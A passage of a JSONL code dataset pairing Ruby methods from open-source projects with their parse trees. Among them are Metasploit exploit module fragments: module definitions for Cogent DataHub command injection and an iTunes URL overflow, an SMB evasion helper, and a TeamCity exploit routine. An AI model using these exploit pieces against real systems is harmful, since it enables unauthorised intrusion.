,\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmark_manager\"]},\"errors\"]},\"full_messages\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]}]}","id":"cd326fde-d0ee-4e7f-86da-2f0ad8787e49"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/cogent_datahub_command.rb","start_line":14,"raw_source":"def initialize\n    super(\n      'Name' => 'Cogent DataHub Command Injection',\n      'Description' => %q{\n        This module exploits an injection vulnerability in Cogent DataHub prior\n        to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which\n        makes insecure use of the datahub_command function with user controlled\n        data, allowing execution of arbitrary datahub commands and scripts. This\n        module has been tested successfully with Cogent DataHub 7.3.4 on\n        Windows 7 SP1. Please also note that after exploitation, the remote service\n        will most likely hang and restart manually.\n      },\n      'Author' => [\n        'John Leitch', # Vulnerability discovery\n        'juan vazquez' # Metasploit module\n      ],\n      'Platform' => 'win',\n      'References' => [\n        ['ZDI', '14-136'],\n        ['CVE', '2014-3789'],\n        ['BID', '67486']\n      ],\n      'Stance' => Msf::Exploit::Stance::Aggressive,\n      'DefaultOptions' => {\n        'WfsDelay' => 30,\n        'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'\n      },\n      'Targets' => [\n        [ 'Cogent DataHub < 7.3.5', {} ],\n      ],\n      'DefaultTarget' => 0,\n      'DisclosureDate' => 'Apr 29 2014'\n    )\n    register_options(\n      [\n        OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']),\n        OptPort.new('SRVPORT', [ true, 'The daemon port to listen on (do not change)', 80 ]),\n        OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will wait for the payload request', 20]),\n        OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])\n      ]\n    )\n  end","complexity_score":7.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Cogent DataHub Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        This module exploits an injection vulnerability in Cogent DataHub prior\\n\"]},{\"type\":\"str\",\"children\":[\"        to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which\\n\"]},{\"type\":\"str\",\"children\":[\"        makes insecure use of the datahub_command function with user controlled\\n\"]},{\"type\":\"str\",\"children\":[\"        data, allowing execution of arbitrary datahub commands and scripts. This\\n\"]},{\"type\":\"str\",\"children\":[\"        module has been tested successfully with Cogent DataHub 7.3.4 on\\n\"]},{\"type\":\"str\",\"children\":[\"        Windows 7 SP1. Please also note that after exploitation, the remote service\\n\"]},{\"type\":\"str\",\"children\":[\"        will most likely hang and restart manually.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"John Leitch\"]},{\"type\":\"str\",\"children\":[\"juan vazquez\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ZDI\"]},{\"type\":\"str\",\"children\":[\"14-136\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-3789\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"67486\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stance\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Stance\"]},\"Aggressive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"InitialAutoRunScript\"]},{\"type\":\"str\",\"children\":[\"post/windows/manage/priv_migrate\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Cogent DataHub < 7.3.5\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"Apr 29 2014\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"URIPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The URI to use (do not change)\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPort\"]},\"new\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The daemon port to listen on (do not change)\"]},{\"type\":\"int\",\"children\":[80]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"WEBDAV_DELAY\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Time that the HTTP Server will wait for the payload request\"]},{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"UNCPATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Override the UNC path to use.\"]}]}]}]}]}]}]}","id":"8b2f2081-cc94-42c6-9025-84b795e8a50a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/smb/client.rb","start_line":1398,"raw_source":"def trans_named_pipe(file_id, data = '', no_response = nil)\n    pipe = EVADE.make_trans_named_pipe_name(evasion_opts['pad_file'])\n    self.trans(pipe, '', data, 2, [0x26, file_id].pack('vv'), no_response)\n  end","complexity_score":9.45,"ast_json":"{\"type\":\"def\",\"children\":[\"trans_named_pipe\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_id\"]},{\"type\":\"optarg\",\"children\":[\"data\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"optarg\",\"children\":[\"no_response\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pipe\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EVADE\"]},\"make_trans_named_pipe_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"evasion_opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pad_file\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"trans\",{\"type\":\"lvar\",\"children\":[\"pipe\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"lvar\",\"children\":[\"data\"]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[38]},{\"type\":\"lvar\",\"children\":[\"file_id\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"vv\"]}]},{\"type\":\"lvar\",\"children\":[\"no_response\"]}]}]}]}","id":"46d95825-7eb7-4588-9718-e3e4c8b1da2a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/preferences_helper.rb","start_line":128,"raw_source":"def user_light_color_scheme\n    Gitlab::ColorSchemes.light_for_user(current_user).css_class\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"user_light_color_scheme\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ColorSchemes\"]},\"light_for_user\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"css_class\"]}]}","id":"ad62d41d-a7ad-4879-b10f-46960ecf01f1"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/search.rb","start_line":1062,"raw_source":"def category_search\n    # scope is leaking onto Category, this is not good and probably a bug in Rails\n    # the secure_category_ids will invoke the same method on User, it calls Category.where\n    # however the scope from the query below is leaking in to Category, this works around\n    # the issue while we figure out what is up in Rails\n    secure_category_ids\n\n    categories =\n      Category\n        .includes(:category_search_data)\n        .where(\"category_search_data.search_data @@ #{ts_query}\")\n        .references(:category_search_data)\n        .order(\"topics_month DESC\")\n        .secured(@guardian)\n        .limit(limit)\n\n    categories.each { |category| @results.add(category) }\n  end","complexity_score":17.3,"ast_json":"{\"type\":\"def\",\"children\":[\"category_search\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"secure_category_ids\"]},{\"type\":\"lvasgn\",\"children\":[\"categories\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"category_search_data\"]}]},\"where\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"category_search_data.search_data @@ \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ts_query\"]}]}]}]},\"references\",{\"type\":\"sym\",\"children\":[\"category_search_data\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"topics_month DESC\"]}]},\"secured\",{\"type\":\"ivar\",\"children\":[\"@guardian\"]}]},\"limit\",{\"type\":\"send\",\"children\":[null,\"limit\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"categories\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@results\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"category\"]}]}]}]}]}","id":"e0a940ac-175f-4dda-8418-1cc711e0bb73"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/slice/routing/middleware/stack.rb","start_line":111,"raw_source":"def update(other)\n            other.stack.each do |path_prefix, items|\n              stack[path_prefix].concat(items)\n            end\n            self\n          end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"stack\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path_prefix\"]},{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stack\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"path_prefix\"]}]},\"concat\",{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"8d012eac-a112-4d6d-a722-1bdedf370b69"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/type/attributes.rb","start_line":150,"raw_source":"def add_custom_fields_to_form_attributes(attributes)\n      WorkPackageCustomField.includes(:custom_options).find_each do |field|\n        attributes[field.attribute_name] = {\n          required: field.is_required,\n          has_default: field.default_value.present?,\n          is_cf: true,\n          display_name: field.name\n        }\n      end\n    end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_custom_fields_to_form_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackageCustomField\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"custom_options\"]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"attribute_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"required\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"is_required\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"has_default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"default_value\"]},\"present?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_cf\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field\"]},\"name\"]}]}]}]}]}]}","id":"092444c4-101d-4584-90f0-0656f49895cf"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/concerns/spree/stores/setup.rb","start_line":39,"raw_source":"def setup_completed?\n        @setup_completed ||= setup_tasks_done == setup_tasks_total\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_completed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@setup_completed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setup_tasks_done\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"setup_tasks_total\"]}]}]}]}","id":"ef4036d7-cf9f-4d09-b55e-ca7c512cb1ca"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb","start_line":606,"raw_source":"def get_plugin_uuid(http_authorization, plugin_name)\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),\n      'keep_cookies' => true,\n      'headers' => {\n        'Origin' => full_uri,\n        'Authorization' => http_authorization\n      },\n      'vars_get' => {\n        'item' => 'plugins'\n      }\n    )\n\n    unless res&.code == 200\n      print_warning('Failed to list all plugins.')\n      return nil\n    end\n\n    uuid_match = res.body.match(/'#{Regexp.quote(plugin_name)}', '([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})'/)\n\n    if uuid_match&.length != 2\n      print_warning('Failed to grep for plugin GUID')\n      return nil\n    end\n\n    uuid_match[1]\n  end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"get_plugin_uuid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http_authorization\"]},{\"type\":\"arg\",\"children\":[\"plugin_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"str\",\"children\":[\"admin.html\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Origin\"]},{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"lvar\",\"children\":[\"http_authorization\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"item\"]},{\"type\":\"str\",\"children\":[\"plugins\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Failed to list all plugins.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uuid_match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"quote\",{\"type\":\"lvar\",\"children\":[\"plugin_name\"]}]}]},{\"type\":\"str\",\"children\":[\"', '([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})'\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uuid_match\"]},\"length\"]},\"!=\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Failed to grep for plugin GUID\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uuid_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"34f886ea-24ac-4295-97ce-e084b2224be8"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/sla/evaluate_applied_sla_service.rb","start_line":36,"raw_source":"def first_reply_was_within_threshold?(conversation, threshold)\n    conversation.first_reply_created_at.present? && conversation.first_reply_created_at.to_i <= threshold\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"first_reply_was_within_threshold?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conversation\"]},{\"type\":\"arg\",\"children\":[\"threshold\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"first_reply_created_at\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conversation\"]},\"first_reply_created_at\"]},\"to_i\"]},\"<=\",{\"type\":\"lvar\",\"children\":[\"threshold\"]}]}]}]}","id":"20cb0484-6be4-46a1-9908-9299eaedb5ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241209121009_remove_orphaned_p_ci_builds_execution_configs.rb","start_line":19,"raw_source":"def up\n    pipelines_query = CiPipeline\n      .where('p_ci_builds_execution_configs.pipeline_id = p_ci_pipelines.id')\n      .where('p_ci_builds_execution_configs.partition_id = p_ci_pipelines.partition_id')\n      .select(1)\n\n    CiExecutionConfig.each_batch do |batch|\n      batch.where('NOT EXISTS (?)', pipelines_query).delete_all\n    end\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pipelines_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CiPipeline\"]},\"where\",{\"type\":\"str\",\"children\":[\"p_ci_builds_execution_configs.pipeline_id = p_ci_pipelines.id\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"p_ci_builds_execution_configs.partition_id = p_ci_pipelines.partition_id\"]}]},\"select\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CiExecutionConfig\"]},\"each_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"where\",{\"type\":\"str\",\"children\":[\"NOT EXISTS (?)\"]},{\"type\":\"lvar\",\"children\":[\"pipelines_query\"]}]},\"delete_all\"]}]}]}]}","id":"e1f7f232-13bf-4910-a20b-e428510a93a9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/migrations_helpers.rb","start_line":92,"raw_source":"def self.name\n        table_name.singularize.camelcase\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]},\"singularize\"]},\"camelcase\"]}]}","id":"6c52f57b-8621-4ec5-8b4d-fe3631550c8e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/app_version_common.rb","start_line":7,"raw_source":"def find_version_id(platform, is_live)\n          version = platform[(is_live ? 'deliverableVersion' : 'inFlightVersion')]\n          return nil unless version\n          version['id']\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_version_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"platform\"]},{\"type\":\"arg\",\"children\":[\"is_live\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]},\"[]\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_live\"]},{\"type\":\"str\",\"children\":[\"deliverableVersion\"]},{\"type\":\"str\",\"children\":[\"inFlightVersion\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}","id":"eeb8b267-a906-4aea-9c12-0158eb63e5fb"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/multiline_method_call_indentation.rb","start_line":136,"raw_source":"def align_with_base_message(rhs)\n          \"Align `#{rhs.source}` with `#{base_source}` on line #{@base.line}.\"\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"align_with_base_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rhs\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Align `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rhs\"]},\"source\"]}]},{\"type\":\"str\",\"children\":[\"` with `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_source\"]}]},{\"type\":\"str\",\"children\":[\"` on line \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base\"]},\"line\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}","id":"4b0a9420-b8fe-484a-bb5a-1b3190f2a9a6"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/thread/policy/message_existence.rb","start_line":18,"raw_source":"def target_message\n    @target_message ||= Chat::Message.with_deleted.find_by(id: target_message_id, thread:)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"target_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@target_message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Message\"]},\"with_deleted\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"target_message_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread\"]},{\"type\":\"send\",\"children\":[null,\"thread\"]}]}]}]}]}]}","id":"eac4f135-6e8b-41b7-be2f-670335813907"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/checks.rb","start_line":29,"raw_source":"def test_run_single_check\n    t = setup_tracker run_checks: [\"CheckCrossSiteScripting\"]\n\n    assert_equal [Brakeman::CheckCrossSiteScripting], Brakeman::Checks.checks_to_run(t)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_run_single_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[null,\"setup_tracker\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"run_checks\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CheckCrossSiteScripting\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"CheckCrossSiteScripting\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Checks\"]},\"checks_to_run\",{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]}]}","id":"7429c6d3-16f6-431a-96f9-f1c58b0161bc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/browser/itms_overflow.rb","start_line":22,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Apple OS X iTunes 8.1.1 ITMS Overflow',\n        'Description' => %q{\n          This modules exploits a stack-based buffer overflow in iTunes\n          itms:// URL parsing.  It is accessible from the browser and\n          in Safari, itms urls will be opened in iTunes automatically.\n          Because iTunes is multithreaded, only vfork-based payloads should\n          be used.\n        },\n        'Author' => [ 'Will Drewry <redpig[at]dataspill.org>' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2009-0950' ],\n          [ 'OSVDB', '54833' ],\n          [ 'URL', 'http://support.apple.com/kb/HT3592' ],\n          [ 'URL', 'http://redpig.dataspill.org/2009/05/drive-by-attack-for-itunes-811.html' ]\n        ],\n        'Payload' => {\n          'Space' => 1024, # rough estimate of what browsers will pass.\n          'DisableNops' => true, # don't pad out the space.\n          'BadChars' => '',\n          # The encoder must be URL-safe otherwise it will be automatically\n          # URL encoded.\n          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,\n          'EncoderOptions' =>\n                        {\n                          'BufferRegister' => 'ECX', # See the comments below\n     